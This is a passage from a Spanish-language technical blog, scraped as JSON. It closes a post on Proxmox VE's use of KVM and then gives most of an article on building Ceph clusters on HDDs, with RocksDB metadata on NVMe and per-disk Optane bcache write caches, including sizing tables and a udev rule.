sí un pequeño comentario sobre la continuidad de los fabricantes Hyper-V architecture — Microsoft sobre el Virtual Machine Worker Process como un componente en modo usuario, uno por VM, donde viven todos los dispositivos emulados The Nutanix Bible — AHV architecture — AHV descrito como KVM con libvirt, QEMU y Open vSwitch Quién ejecuta KVM, y cómo lo cambiaron\n7 ways we harden our KVM hypervisor at Google Cloud — Google sobre ejecutar KVM sin QEMU, y el endurecimiento en upstream que hicieron The AWS Nitro System — qué tipos de instancia EC2 ejecutan el hipervisor Nitro AWS EC2 Virtualization 2017: Introducing Nitro — el escrito de Brendan Gregg sobre la transición de Xen a KVM, todavía el relato más claro de ella Firecracker — el VMM mínimo basado en KVM de AWS tras Lambda y Fargate Alibaba Cloud\u0026rsquo;s sixth-generation ECS instances — el hipervisor X-Dragon y la descarga a MoC KubeVirt — el modelo de QEMU/KVM-en-un-pod tras OpenShift Virtualization y Harvester OpenStack Nova hypervisor support matrix — KVM como el controlador de referencia Qué mantiene Proxmox\nThe Proxmox GitHub organisation — 89 repositorios, incluidos pve-qemu, pve-kernel, pve-edk2-firmware y el empaquetado de lxc, zfsonlinux, openvswitch, libiscsi, corosync-pve y ceph pve-qemu patch series — los 78 parches contados arriba, y la forma más rápida de ver exactamente qué añade Proxmox a QEMU Proxmox VE storage documentation — la lista de plugins nativos, qué tipos de almacenamiento son compartidos, y la línea sobre usar todas las tecnologías de almacenamiento disponibles para Debian Linux nvme-cli y nvmetcli — herramientas de host y objetivo de NVMe-oF; aoetools y vblade para el equivalente ATA over Ethernet. Todo en Debian trixie, que es sobre lo que está construido Proxmox VE 9 Proxmox VE pricing and subscription tiers — qué cubre la suscripción Divulgación: trabajo para croit, un Proxmox Gold Partner. Las afirmaciones técnicas de arriba están referenciadas y son verificables; el párrafo comercial es la parte donde tengo un interés, así que trátalo en consecuencia.\n","permalink":"https://blogs.damiendye.uk/es/proxmox/kvm-the-hypervisor-inside-proxmox-ve/","summary":"«¿Proxmox es de nivel empresarial?» es una pregunta sobre el hipervisor, y Proxmox VE no contiene uno. El hipervisor es KVM — el mismo módulo del kernel bajo EC2, Google Cloud, Alibaba Cloud, Nutanix AHV y OpenShift Virtualization. Qué mantiene Proxmox realmente, por qué el argumento del tipo 1 apunta a la línea equivocada, y qué no te compra el cimiento compartido.","title":"Proxmox VE no es un hipervisor — KVM sí, y ya lo estás ejecutando"},{"content":"Por qué los HDD vuelven a estar en el menú Durante años el consejo era bastante simple como para caber en una nota adhesiva: ponlo todo en SSD.\nEse consejo era correcto, y también era barato. Ninguna de las dos cosas es del todo cierta ahora. El suministro de NAND se ha apretado, la demanda de IA ha empujado el precio del flash hacia arriba, y el NVMe de alta capacidad se ha vuelto difícil de justificar para un despliegue de Proxmox consciente del coste — de esos que necesitan ser operativos, fiables, y tan baratos como la honestidad permita.\nLos HDD de empresa vuelven a ser interesantes por la misma razón que siempre lo fueron: capacidad por libra, y nada más se le acerca.\nLa pega es que todo el que ha corrido VM sobre discos giratorios sabe lo mal que puede ir. Esa experiencia es real, y suele ser culpa de la arquitectura y no de los discos.\nEcharle la culpa a los discos es más fácil, eso sí. También es equivocado, y es caro, porque convence a la gente de comprar flash que no necesitaba.\nTodo lo de abajo asume Proxmox con OSD de Ceph hiperconvergidos, porque ahí es donde las decisiones de disposición de verdad muerden.\nEl problema es la latencia, no el caudal Un HDD de empresa moderno mueve datos secuenciales grandes perfectamente bien. Eso nunca fue el cuello de botella.\nUn disco de empresa a 7.2k RPM entrega en torno a 80 a 100 IOPS de trabajo aleatorio, porque cada operación aleatoria espera a un desplazamiento del cabezal y una rotación del plato. Ese número apenas se ha movido en veinte años. Es mecánica, no electrónica. Un SSD de empresa de gama de entrada está a tres o cuatro órdenes de magnitud de él.\nDale al mismo disco trabajo secuencial y es un dispositivo útil. La tasa de operaciones más o menos se duplica, a unos 200 IOPS, pero cada una de esas operaciones lleva ahora un bloque grande porque el cabezal ya está en el sitio correcto y puede seguir transmitiendo. Así que obtienes caudal de verdad, 150 a 250 MB/s de él, a un precio por terabyte que nada más toca.\nEsa es la asimetría importante, y no es «los HDD son lentos». Un disco giratorio es bueno en trabajo secuencial y inútil en trabajo aleatorio, y los dos números están juntos solo porque la cosa acotada es el recuento de operaciones, no los bytes.\nLo que marca todo el pliego de diseño. No estás intentando hacer el disco más rápido. No puedes. Estás intentando arreglar que pase su tiempo en el modo en el que ya es competente, y mantener el pequeño tráfico aleatorio lejos de él. Como tal, todo lo que sigue es esa única idea aplicada dos veces.\nEl problema es que las máquinas virtuales no generan la carga de trabajo en la que los HDD son buenos. Generan actualizaciones de metadatos, escrituras de diario, pequeños vaciados síncronos, registro, tareas domésticas de sistema de ficheros, y ráfagas de actividad aleatoria de una docena de invitados a la vez que llegan entrelazadas al disco.\nInútil en trabajo aleatorio, de verdad bueno en secuencial — en qué modo corre el disco es todo el diseño Operaciones por segundo, un dispositivo — barras sin escala, porque tres órdenes de magnitud no caben 7.2k HDD — aleatorio 80–100 cada operación espera a un desplazamiento y una rotación — inútil 7.2k HDD — secuencial ~200 y cada una lleva un bloque grande: 150–250 MB/s de caudal real NVMe de empresa 100k+ sin partes móviles, así que sin desplazamiento que pagar Lo que un clúster hiperconvergido de verdad le envía al disco metadatos de invitado escrituras de diario y fsync registro y tareas domésticas RocksDB metadatos ráfagas aleat., muchos invitados transferencias secuenciales grandes Cinco de esos seis son pequeños y aleatorios. Uno de ellos es en lo que el plato es bueno. Esto no es «los HDD son lentos». Un disco giratorio es de verdad bueno en trabajo secuencial e inútil en trabajo aleatorio, y las dos cifras están juntas solo porque la cantidad acotada es el recuento de operaciones, no los bytes que cada una lleva. Así que el trabajo no es hacer el disco más rápido. Es mantenerlo en el modo en el que ya es competente. Las tasas de operación aleatoria y secuencial se sitúan sorprendentemente juntas, porque lo acotado es el número de operaciones y no los bytes que cada una lleva. Lo secuencial es donde el disco gana su dinero; un clúster hiperconvergido de forma nativa le envía el otro tipo de trabajo. Ceph añade su propia capa a esto. Cada escritura lleva actualizaciones de metadatos de RocksDB junto a los datos. Si todo eso aterriza en platos en bruto, los discos pasan su tiempo desplazándose en vez de sirviendo, y obtienes el síntoma que todo administrador reconoce: alta espera de E/S, invitados lentos, respuesta inconsistente, y un clúster que se siente mucho más lento de lo que su hoja de capacidad sugiere.\nLa propia guía de hardware de Ceph es franca sobre a dónde lleva esto. Advierte que hay que «consider carefully the ostensible cost-per-gigabyte advantage of larger HDDs, and the concomitant limitations of IOPS per TB» — sopesar con cuidado la ventaja aparente de coste por gigabyte de los HDD grandes contra las limitaciones concomitantes de IOPS por TB — y dice que los discos por encima de 8 TB «may be best suited for storage of large files / objects that are not at all performance-sensitive» — pueden estar mejor destinados a almacenar ficheros u objetos grandes que no son en absoluto sensibles al rendimiento.\nVale la pena hacer esa aritmética, porque los discos que hacen esto económico de entrada son los grandes. 20 TB para arriba. Un disco de 20 TB sigue haciendo sus 80 a 100 IOPS aleatorias, porque la capacidad no te compra operación alguna. Así que ofrece unas 4 a 5 IOPS aleatorias por terabyte, donde un disco de 8 TB alcanza unas once, y uno de 2 TB cuarenta.\nPor la propia medida de Ceph, entonces, un plato de 20 TB está bien dentro del territorio en el que te dice que no pongas cargas sensibles al rendimiento.\nEso no es un argumento contra comprarlos. Es la razón por la que existe el resto de este artículo. El diseño de abajo es exactamente lo que hace viable un plato de 20 TB para almacenar VM, arreglando que el pequeño trabajo aleatorio nunca lo alcance.\nSaca los metadatos fuera del plato El cambio de mayor valor para un clúster con HDD es dejar de hacer que el plato guarde la contabilidad de Ceph.\nBlueStore guarda tres cosas por OSD: los datos en sí en block, la base de datos de metadatos RocksDB en block.db, y el registro de escritura anticipada en block.wal. Por defecto los tres viven en el mismo dispositivo. Pon block.db en NVMe en su lugar y una gran cantidad de E/S aleatoria pequeña abandona el disco del todo.\nLa documentación de hardware de Ceph lo dice claramente: «HDD OSDs may see a significant write latency improvement by offloading WAL+DB onto an SSD» — los OSD de HDD pueden ver una mejora significativa de latencia de escritura descargando WAL+DB a un SSD.\nDisposición de un OSD BlueStore: todo en el plato, frente a los metadatos en NVMe Por defecto: un dispositivo guarda los tres escrituras de datos de objeto metadatos de RocksDB Un HDD a 7.2k block block.db .wal Ambos flujos comparten un presupuesto de 80 IOPS. El disco se desplaza entre datos y metadatos en cada escritura. block.db en NVMe: los metadatos se van escrituras de datos de objeto metadatos de RocksDB HDD a 7.2k block — solo datos NVMe de empresa block.db .wal El plato ahora hace un trabajo. Nombra un dispositivo de DB y el WAL va con él. Dimensiona\u0026#160;block.db\u0026#160;al 1–2% de\u0026#160;block\u0026#160;para cargas RBD, o 2.5% para ir cómodo. Quédate corto y RocksDB no falla — se desborda de vuelta al plato, que es el único resultado que desperdicia el flash que acabas de comprar. Los tamaños útiles escalan sobre 3 GB, 30 GB y 300 GB, porque una partición de DB solo puede usar del todo tamaños que casan con las sumas de los niveles de RocksDB. Redondear al siguiente escalón suele ser barato; redondear abajo no compra nada. Izquierda, todo en un plato: las escrituras de datos y las actualizaciones de RocksDB compiten por las mismas 80 y pico IOPS. Derecha, block.db en NVMe: el tráfico de metadatos abandona el disco, y al plato le queda hacer lo único en lo que es bueno. Usa NVMe de empresa en condiciones aquí, no flash de consumo. La razón no son los números de benchmark de titular. Es la latencia estable bajo carga sostenida, y la protección contra pérdida de corriente. La documentación de Ceph es directa: «Enterprise-class SSDs are best for Ceph: they feature power loss protection (PLP)» — los SSD de clase empresa son los mejores para Ceph, tienen protección contra pérdida de corriente — y «bargain client-class or off-brand SSDs are a false economy» — los SSD de gama de cliente de saldo o de marca desconocida son una economía falsa.\nDiscos de la clase de los Samsung PM9A3 y Micron 7450 Pro son el tipo de cosa que pertenece aquí. Bajo presión de escritura a Ceph le importa la consistencia mucho más que los números pico, y eso es exactamente lo que separa un disco de empresa de uno de consumo rápido.\nDimensionar block.db, y qué cuesta el desbordamiento Equivócate en el tamaño y el beneficio se evapora en silencio, porque cuando block.db se llena, RocksDB no falla — se desborda de vuelta al dispositivo lento, exactamente donde habría estado sin el NVMe.\nEse es el peor de los dos mundos: has comprado el flash y sigues desplazándote en el plato.\nLa guía actual de Ceph:\nCarga de trabajo block.db como fracción de block RBD / bloque — discos de VM 1% a 2% RGW / objeto al menos 4% Recomendación general al descargar WAL+DB al menos 2.5% El almacenamiento de VM de Proxmox es la fila RBD, así que 1–2% es la cifra de planificación honesta, y 2.5% es un sitio cómodo en el que quedarse.\nCorre eso contra un disco de 20 TB y los números te llaman la atención:\nblock.db para un OSD de 20 TB Al 1% 200 GB Al 2% 400 GB Al 2.5% 500 GB Toma eso con los escalones de nivel de RocksDB de abajo y 300 GB por OSD es el punto de aterrizaje sensato. El escalón útil más cercano al centro del rango.\nLo que cambia lo que el dispositivo de metadatos compartido de verdad es. Ocho OSD de 20 TB quieren 2.4 TB de NVMe entre ellos; quince de ellos, el máximo que Ceph indica detrás de un NVMe, quieren 4.5 TB. En discos de este tamaño es la capacidad de DB la que decide cuántos OSD se sientan detrás de un dispositivo, no el ratio. Te quedarás sin gigabytes mucho antes de quedarte sin la bendición de Ceph.\nHay un matiz más que vale la pena conocer, porque hace que el dimensionado intuitivo sea erróneo. La estructura de niveles de RocksDB significa que una partición de DB solo puede usar del todo tamaños que corresponden a las sumas de sus niveles — históricamente produciendo escalones útiles alrededor de 3 GB, 30 GB y 300 GB, con tamaños intermedios que no ofrecen nada por encima del escalón de abajo. Redondear 18 GB arriba a 30 GB suele ser gratis en la práctica; redondearlo abajo a 20 GB no te compra nada por encima de 3 GB en el peor caso.\nComprueba el desbordamiento después de que el clúster haya estado corriendo un tiempo, no en el día uno. Es un problema de aparición lenta.\nNo necesitas un dispositivo WAL aparte Este ahorra una partición y un montón de trasteo.\nSi especificas un dispositivo de DB y ningún dispositivo WAL explícito, Ceph pone el WAL en el dispositivo rápido con la DB de forma automática. La documentación afirma que «whenever a DB device is specified but an explicit WAL device is not, the WAL will be implicitly colocated with the DB on the faster device» — cada vez que se especifica un dispositivo de DB pero no uno WAL explícito, el WAL se colocará implícitamente junto a la DB en el dispositivo más rápido.\nAsí que «pon la DB y el WAL en NVMe» es el objetivo correcto, pero es un argumento, no dos. Un block.wal aparte solo tiene sentido si tienes una tercera capa, más rápida, en la que ponerlo.\nApaga el cache de escritura del HDD Pequeño, sin glamur, y fácil de pasar por alto.\nLa documentación de Ceph nota que el rendimiento de un OSD «may be dramatically increased \u0026hellip; by disabling this write cache» — puede aumentarse drásticamente desactivando este cache de escritura — en los HDD. El cache volátil del disco reordena y retrasa escrituras de maneras que pelean con la semántica de vaciado de Ceph, y apagarlo suele hacer las cosas más rápidas en vez de más lentas.\nSe vuelve obligatorio en vez de aconsejable en cuanto bcache está de por medio, que es la siguiente sección.\nYa que estás dentro: no necesitas un HBA capaz de RAID. Ceph lo dice directamente: «You do not need an RoC (RAID-capable) HBA» — no necesitas un HBA capaz de RAID (RoC). Dales los discos a los OSD.\nUna Optane por plato Sacar los metadatos del disco arregla el estado estacionario. No arregla las ráfagas, porque una ráfaga de pequeñas escrituras síncronas todavía tiene que ser reconocida, y el plato sigue reconociendo a velocidad de plato.\nPara eso está bcache, y lo que hace que funcione aquí es Optane.\nLo que importa no es la capacidad. Es el comportamiento bajo carga de escritura. Frente a la NAND, Optane ofrece latencia muy baja, resistencia muy alta, y ninguno de los precipicios de recolección de basura que hacen impredecible el rendimiento de cache de escritura de un SSD una vez que ha estado en servicio un tiempo. Absorber tráfico pequeño, a ráfagas, cargado de escritura es la cosa en la que es el mejor del mundo.\nLa disposición que importa: una Optane por HDD, cada pareja su propio dispositivo bcache. No una Optane compartida entre una estantería de discos.\nTres capas, dos modelos de compartición: cache de escritura emparejado, dispositivo de metadatos compartido Un nodo de Proxmox, tres OSD Escrituras de VM invitada — pequeñas, síncronas, a ráfagas Metadatos RocksDB de Ceph bcache0 Optane cache de escritura HDD osd.0 block bcache1 Optane cache de escritura HDD osd.1 block bcache2 Optane cache de escritura HDD osd.2 block Una Optane por plato — emparejada, nunca compartida Un fallo de cache cuesta un OSD, que Ceph reconstruye a diario. Resistencia necesaria aquí: 30–100 DWPD. Solo Optane. NVMe de empresa compartido block.db + WAL implícito, los tres OSD protegido contra pérdida de corriente Compartido, porque los metadatos son pequeños Ceph dice 4–5 HDD por SSD SATA, no más de 15 por NVMe. Pierde este y cada OSD detrás de él se va con él. NAND de empresa vale — pero un NVMe rápido, no barato. Ambas capas son necesarias, y no son la misma compra. La Optane acorta el reconocimiento de escritura; no hace nada por las lecturas de metadatos que Ceph emite constantemente, y solo aplaza las escrituras de metadatos. Sáltate el NVMe y RocksDB está de vuelta en el plato. Cada escritura a un OSD cruza su dispositivo de cache, que es por lo que ese tiene que ser Optane. El dispositivo de metadatos no tiene por qué serlo — pero todavía tiene que ser un NVMe rápido: poco volumen de escritura, y aun así lleva la latencia de metadatos de cada OSD detrás de él. Tres capas, dos modelos de compartición distintos. El dispositivo de DB/WAL se comparte entre varios OSD porque el volumen de escritura de RocksDB es pequeño, aunque todavía tiene que ser un NVMe rápido porque lleva la latencia de metadatos de cada uno de ellos. El cache de escritura Optane se empareja uno a uno con su plato, así que un fallo de cache solo puede costar un OSD. El emparejamiento es una elección deliberada, y compra dos cosas.\nSin contención. Cada plato tiene una Optane entera de latencia y profundidad de cola para él solo, en vez de hacer cola detrás de las ráfagas de otros siete OSD.\nUn dominio de fallo que Ceph ya sabe cómo sobrevivir. Un cache de escritura compartido guarda datos sucios de cada OSD detrás de él, así que perderlo los pierde todos a la vez; emparejado uno a uno, perder una Optane cuesta exactamente un OSD. Esa distinción es la consecuencia más importante de este diseño, y tiene su propio tratamiento en lo que estás cediendo.\nEsto tiene que ser Optane. No NAND. La palabra «Optane» no es una preferencia de marca ni un capricho aquí. Sustituir por un NVMe NAND — por caro que sea — construye algo que se desgasta, y la razón es la resistencia.\nMira dónde se sienta el dispositivo de cache. Porque este diseño apaga el bypass secuencial de bcache — el sequential_cutoff=0 en la regla de abajo — cada una de las escrituras a ese OSD pasa por él: no solo las ráfagas, todo. Eso hace del cache el dispositivo de mayor ciclo de servicio del nodo, al que se le pide absorber el volumen de escritura de un disco giratorio entero durante la vida de la máquina.\nLa resistencia se cita en escrituras de disco por día, y la brecha no es incremental:\nDispositivo Resistencia nominal Optane P5800X 100 DWPD Optane P4800X 30 DWPD NAND de empresa intensiva en escritura, tope de gama alrededor de 10 DWPD NAND de empresa de uso mixto 3 DWPD o menos NAND de empresa mayoritaria — clase PM9A3, 7450 Pro alrededor de 1 DWPD Optane es entre diez y cien veces la resistencia de la NAND que si no pondrías ahí. Pon un disco de 1 DWPD en la única posición que recibe cada escritura del clúster y no has construido un cache, has construido un consumible.\nEs peor de lo que la tabla sugiere, porque la NAND sufre amplificación de escritura internamente y Optane no. El DWPD nominal de un disco NAND es lo que aguanta en la interfaz; lo que sus celdas de verdad absorben es mayor. El número de Optane no necesita tal asterisco.\nLas reconstrucciones son donde eso se pone a prueba. El relleno empuja terabytes de escrituras a través de los nodos supervivientes en una ventana comprimida, cada byte de ello a través de sus dispositivos de cache — un evento de resistencia, no meramente de latencia, que llega justo cuando menos quieres que un segundo dispositivo falle.\nAsí que las dos capas de flash quieren discos distintos, por razones distintas:\nCapa Volumen de escritura Qué necesita el dispositivo DB/WAL pequeño — solo RocksDB Un NVMe de empresa rápido. Baja latencia, altas IOPS aleatorias, PLP. La NAND de empresa es la tecnología correcta; un PM9A3 o 7450 Pro es la compra correcta Cache de escritura todo PLP y resistencia en las decenas de DWPD. La NAND es la tecnología equivocada a cualquier precio Comprar un solo tipo de disco para ambos trabajos es el error que esta sección existe para prevenir — pero no leas la primera fila como permiso para economizar, porque bajo volumen de escritura no es baja exigencia.\nEl dispositivo de DB/WAL todavía tiene que ser un NVMe de verdad rápido, por tres razones que nada tienen que ver con cuántos bytes lo cruzan.\nSirve a cada OSD detrás de él a la vez, así que la cola que ve es de cuatro o quince conjuntos de tráfico de metadatos, no el de un disco.\nSu latencia aterriza directamente sobre tus clientes. Las búsquedas de RocksDB se sientan en el camino crítico para encontrar objetos, para el emparejamiento y para el scrub, y son lecturas aleatorias pequeñas. La carga de trabajo donde la brecha entre un NVMe rápido y uno mediocre es más ancha. Cada microsegundo se multiplica por cada OSD que depende de él.\nY la compactación es a ráfagas. RocksDB reescribe periódicamente sus niveles, convirtiendo el batir constante en un pico concentrado de lecturas y escrituras. Un dispositivo que aguanta la media y se atasca en el pico atasca cada OSD detrás de él en el mismo momento.\nLos propios ratios de Ceph son la pista. Permite tres veces más OSD detrás de un NVMe que detrás de un SSD SATA, y eso es la interfaz y la clase de dispositivo hablando, no la capacidad. Usa NVMe.\nAsí que: el dispositivo de cache tiene que ser Optane, el dispositivo de DB/WAL puede ser NAND, y ninguna de las dos posiciones es donde ahorras dinero.\nQué Optane: una M10 de 32 GB serviría a menudo Nada de eso significa que la Optane más grande sea la correcta. El dispositivo que necesitas lo decide tu carga de escritura — aunque, como resulta, el mercado de segunda mano puede decidirlo por ti de todos modos. La aritmética sigue importando, porque te dice qué estás sobrecomprando o infracomprando.\nEmpieza por para qué sirve el cache. Guarda una ráfaga, no un disco. A writeback_percent=40 un dispositivo de 32 GB da unos 13 GB de buffer sucio, que es un número enorme de pequeñas escrituras síncronas.\nAsí que no te eche para atrás el ratio. Un módulo de 32 GB delante de un disco de 20 TB es el 0.16% de él, lo que suena absurdo hasta que recuerdas que es un absorbedor de ráfagas y no un cache de conjunto de trabajo intentando guardar datos calientes. Un dispositivo de 375 GB delante del mismo disco es el 1.9%, que es simplemente más margen del que usarás.\nLo que pone el extremo barato del rango en juego. Aquí está el módulo pequeño de consumo contra la pieza de centro de datos, porque la brecha no está donde la gente espera:\nOptane Memory M10 32 GB Optane DC P4800X 375 GB Lectura aleatoria, 4K 240 000 IOPS 550 000 IOPS Escritura aleatoria, 4K 65 000 IOPS comparable a la lectura Lectura secuencial 1200 MB/s 2400 MB/s Escritura secuencial 290 MB/s 2000 MB/s Latencia típica — menos de 10 µs Resistencia 365 TBW 12.3 PBW — 30 DWPD Interfaz PCIe 3.0 x2, M.2 2280 PCIe 3.0 x4, U.2 o AIC Mira primero la fila de IOPS de escritura. La pequeña M10 hace 65 000 escrituras aleatorias por segundo; el plato detrás de ella hace 80. Incluso la Optane más barata es unas 650 veces el disco que está cacheando, así que en el eje de rendimiento el argumento se acaba antes de empezar. Las IOPS de más de la pieza DC no tienen a dónde ir cuando hay un disco de 7.2k aguas abajo.\nLa fila que decide la compra es la resistencia, donde la brecha es de 34×. Convertida en un presupuesto diario a lo largo de una vida de cinco años:\nDispositivo Escrituras sostenibles por día, a lo largo de cinco años M10 32 GB — 365 TBW unos 200 GB/día P4800X 375 GB — 12.3 PBW unos 6.7 TB/día Por debajo de 200 GB de escrituras al día una M10 de 32 GB aguanta hasta el final del montaje. Al doble de eso obtienes dos años y medio. De verdad cargado de escritura y la pieza DC gana su precio — no por las IOPS, que no puedes usar, sino por las treinta y pico veces más escritura que tolera.\nAsí que mide en vez de adivinar. nvme smart-log en un dispositivo de cache existente te da data_units_written; muestréalo con una semana de diferencia, divide, y compara contra el TBW nominal de lo que estés considerando. bcache guarda sus propios totales bajo /sys/block/bcacheN/bcache/stats_total/ si prefieres leerlo ahí.\nDos salvedades sobre la M10. Sus cifras aleatorias se citan sobre una franja de 8 GB en vez del dispositivo completo, así que en un cache que pretendes correr sustancialmente lleno, trátalas como el extremo optimista. Y es una pieza de consumo que no lleva ninguna reclamación de PLP de empresa — el medio de Optane se escribe en el sitio sin buffer DRAM en el camino de escritura, que es por lo que estos módulos se comportan mucho mejor ante una pérdida de corriente súbita de lo que lo haría la NAND de consumo, pero «se comporta bien en la práctica» no es una especificación. Si quieres la garantía por escrito, compra una pieza de serie DC.\nEl suelo es el ancho de banda, no la capacidad — sáltate los módulos de 16 GB Hay una segunda restricción, independiente de todo lo de arriba, y descalifica la pieza más barata del rango.\nEl cache tiene que ser más rápido que el disco en secuencial, o es un estrangulador. La M10 de 16 GB no lo es, y es el módulo por el que más tentado estarás porque es casi gratis:\nEscritura secuencial Optane Memory M10 16 GB 150 MB/s Optane Memory M10 32 GB 290 MB/s Optane DC P4800X 375 GB 2000 MB/s Un HDD de empresa a 7.2k 150–250 MB/s Lee la primera y la última fila juntas. Un módulo de 16 GB escribe en secuencial a más o menos la misma velocidad que el disco giratorio que se supone que está acelerando, y más lento que uno bueno. Sigue siendo tremendamente más rápido para trabajo aleatorio — 35 000 IOPS de escritura aleatoria contra las 80 del disco — pero en un flujo secuencial es en el mejor caso un empate y en el peor un techo por debajo de lo que el disco pelado lograba sin ayuda.\nY este diseño te garantiza que llegues a ese techo, porque apagar el bypass secuencial manda todo a través del cache, haciendo del propio ancho de banda de escritura secuencial del cache el techo duro para todo el OSD. La recuperación es donde más muerde: rellenar un OSD de 20 TB es lo más secuencial que esta carga de trabajo llega a ser, y limitarlo a 150 MB/s hace más lenta una reconstrucción ya lenta.\nAsí que la línea M10 tiene un suelo en 32 GB, y es un suelo de ancho de banda en vez de uno de capacidad. La aritmética de capacidad decía que 32 GB era de sobra; la aritmética de ancho de banda descarta los 16 GB por poco que necesitaras almacenar. Ambas pruebas tienen que pasar, y la pieza barata falla la que la gente no comprueba.\nSea lo que sea lo que estés considerando, pon su cifra de escritura secuencial al lado de 250 MB/s antes de comprarlo.\nComprar un producto que ya nadie fabrica Optane está descontinuado. Intel liquidó el negocio en 2022, dando de baja 559 millones de dólares de inventario y terminando el desarrollo. No hay nueva producción y no hay reposición; el suministro total solo baja a partir de aquí.\nLo que plantea una pregunta obvia, porque hay una cantidad sorprendente a la venta. Entender de dónde viene te dice qué estás comprando.\nEs inventario de repuestos de servicio OEM que se está liquidando. Los tres grandes fabricantes de servidores tenían Optane en stock como repuestos para dar soporte a las plataformas en las que la vendían. Esas plataformas se han quedado sin vida útil y han caído del soporte, así que los repuestos que las respaldaban se convirtieron en stock muerto de la noche a la mañana — almacenes de piezas para máquinas que nadie está contractualmente obligado a reparar ya. Ese inventario es lo que fluye hacia AliExpress y los reacondicionadores.\nDos consecuencias, y las dos son buenas noticias.\nMucho de ello está sin usar en vez de retirado. Los repuestos de servicio estuvieron en una estantería esperando un fallo que nunca llegó, así que la cifra de desgaste a la llegada suele ser efectivamente cero — no «unos años de servicio ligero» sino nunca escrito. Verifica en vez de fiarte: nvme smart-log te da percentage_used y data_units_written, y en stock de repuestos genuino esos deberían ser asombrosamente bajos. Cualquier cosa que muestre desgaste real es un retirado vendido como otra cosa, aunque incluso entonces el margen de resistencia significa que una Optane usada puede tener más vida por delante que un disco NAND nuevecito de la misma capacidad.\nExplica qué capacidades vas a encontrar. Los repuestos OEM se tenían en stock para servidores, lo que significa piezas de centro de datos. Aquí está el rango completo, y fíjate en dónde empieza el buque insignia:\nPieza Capacidades Formato Optane Memory M10 16, 32, 64 GB M.2 2280, consumo Optane SSD 800P 58, 118 GB M.2 2280, consumo Optane SSD P1600X 58, 118 GB M.2 2280, pieza de arranque y cache de centro de datos Optane SSD DC P4801X 100, 200, 375 GB M.2 110 mm o U.2 Optane SSD DC P4800X 375 GB en su menor, 750 GB, 1.5 TB U.2 o tarjeta añadida Optane SSD P5800X 400 GB, 800 GB, 1.6 TB U.2 o tarjeta añadida En teoría las pequeñas piezas M.2 son la respuesta elegante — la M10, la 800P, la P1600X y la P4801X de 100 GB todas hacen el trabajo, y barato. En la práctica el mercado no las tiene, porque nadie almacenó módulos aceleradores de escritorio como repuestos de servidor. Lo que hay listado es 375 GB para arriba, hardware de clase P4800X.\nAsí que planea comprar más capacidad de la que el papel necesita, porque eso es lo que está a la venta. No es un mal resultado. Sobrecomprar un dispositivo de cache te deja en 30 DWPD y latencia sub-10 µs cuando tu carga de trabajo exigía una fracción de cualquiera de las dos, y para un plato de 20 TB que pretendes conservar años, esa es la manera correcta de errar. Sí significa que el precio de entrada es más alto de lo que la aritmética sugiere, y que el dimensionado de arriba se vuelve una comprobación contra la infracompra en vez de una lista de la compra.\nTres cosas que planear, ya que esto es una liquidación en vez de una cadena de suministro:\nCompra tus repuestos con el montaje. Se está aclarando un pozo finito. Cuando un dispositivo falle dentro de tres años no estarás pidiendo un reemplazo, estarás cazándolo — así que presupuesta los repuestos ahora, mientras el stock está ahí.\nEspera firmware OEM y comprueba el namespace. Las piezas de un programa de repuestos de un fabricante a menudo llevan el firmware de ese fabricante y pueden llegar formateadas a un tamaño de LBA o con ajustes de metadatos que convienen a lo que fuera para lo que estaban en stock. Confirma con nvme id-ns antes de construir sobre ella, y ten listo nvme format a un formato llano de 4096 bytes.\nNo hay garantía, no hay soporte, y no hay más actualizaciones de firmware. La propia nota de soporte de Intel cubre qué significa la liquidación para dispositivos ya en servicio, que es la posición en la que ya está cualquier cosa que compres. Verificar que la pieza que llegó es la pieza del anuncio corre de tu cuenta.\nbcache no reemplaza la descarga de DB/WAL Vale la pena decirlo de forma explícita, porque es el sitio obvio en el que intentar ahorrar dinero y no funciona: todavía necesitas block.db en NVMe. Ambas capas, no una o la otra.\nLa Optane es un cache de escritura. Eso es todo lo que es. Acorta el camino de reconocimiento de las escrituras que van hacia el disco, y no hace nada más.\nRocksDB no solo escribe. Ceph lee sus metadatos constantemente — para encontrar objetos, para servir el emparejamiento, para responder scrubs — y un cache de escritura ofrece a una lectura exactamente nada una vez que los datos han sido vaciados de él. Tampoco quita el cache el tráfico de metadatos; lo aplaza y lo agrupa, así que cada actualización de RocksDB llega al plato eventualmente, compitiendo por los mismos desplazamientos. Y la compactación convierte un batir modesto en mucho más tráfico de dispositivo que las escrituras que lo causaron.\nAsí que los dos cambios arreglan problemas distintos y ninguno sustituye al otro:\nQué arregla Qué no block.db en NVMe los metadatos viven en flash — lecturas y escrituras ambas, permanentemente fuera del plato nada para una ráfaga de escrituras de invitado Optane vía bcache latencia de reconocimiento de ráfaga para escrituras de datos nada para las lecturas de metadatos; solo aplaza las escrituras de metadatos Sáltate la descarga de DB y quédate la Optane, y RocksDB está de vuelta en el plato con sus lecturas servidas a 80 IOPS. Sáltate la Optane y quédate la descarga de DB, y el estado estacionario es decente pero las ráfagas todavía se atascan a velocidad de plato.\nLa regla udev, línea por línea Los ajustes de bcache viven en sysfs, y sysfs los reinicia cada vez que el dispositivo se registra — que es cada arranque. Así que pertenecen a una regla udev en vez de a un script que alguien tiene que acordarse de correr:\n# /etc/udev/rules.d/99-bcache.rules ACTION==\u0026#34;add|change\u0026#34;, SUBSYSTEM==\u0026#34;block\u0026#34;, KERNEL==\u0026#34;bcache*\u0026#34;, \\ ATTR{bcache/cache_mode}=\u0026#34;writeback\u0026#34;, \\ ATTR{bcache/sequential_cutoff}=\u0026#34;0\u0026#34;, \\ ATTR{bcache/congested_read_threshold_us}=\u0026#34;0\u0026#34;, \\ ATTR{bcache/writeback_rate}=\u0026#34;81920\u0026#34;, \\ ATTR{bcache/writeback_rate_minimum}=\u0026#34;20480\u0026#34;, \\ ATTR{bcache/writeback_percent}=\u0026#34;40\u0026#34; KERNEL==\u0026quot;bcache*\u0026quot; casa con cada dispositivo bcache del nodo, así que una regla cubre todas las parejas. ACTION==\u0026quot;add|change\u0026quot; significa que se reaplica cada vez que un dispositivo aparece o se readjunta, no solo al arranque.\nQué hace cada ajuste, y por qué:\ncache_mode=writeback — el objeto entero. En el writethrough por defecto, una escritura no se reconoce hasta que alcanza el HDD, así que el cache no hace nada por la latencia de escritura. En writeback, la Optane reconoce y el plato se pone al día después.\nsequential_cutoff=0 — por defecto bcache detecta E/S secuencial y la enruta directa más allá del cache una vez que pasa de 4 MB, sobre la teoría de que el disco de respaldo maneja lo secuencial bien. Cero desactiva ese bypass para que todo se cachee. En un nodo hiperconvergido esa es la decisión correcta: lo que parece secuencial a un dispositivo bcache deja de 